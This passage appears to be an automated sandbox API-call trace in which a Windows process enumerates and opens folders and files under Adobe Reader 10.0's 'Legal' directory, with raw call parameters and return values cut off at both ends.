cFileName="FRA", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0081.425] GetLastError () returned 0x12 [0081.425] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0081.425] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0081.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.427] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.427] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.427] NtClose (Handle=0x168) returned 0x0 [0081.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.428] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201c98 [0081.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.430] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201cb8 [0081.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1264a00 [0081.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.431] GetLastError () returned 0x12 [0081.431] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.431] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.431] GetLastError () returned 0x12 [0081.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.432] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.432] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0081.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.433] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.433] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.434] NtClose (Handle=0x178) returned 0x0 [0081.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.434] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.434] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.434] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201cd8 [0081.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1264b08 [0081.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.436] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, 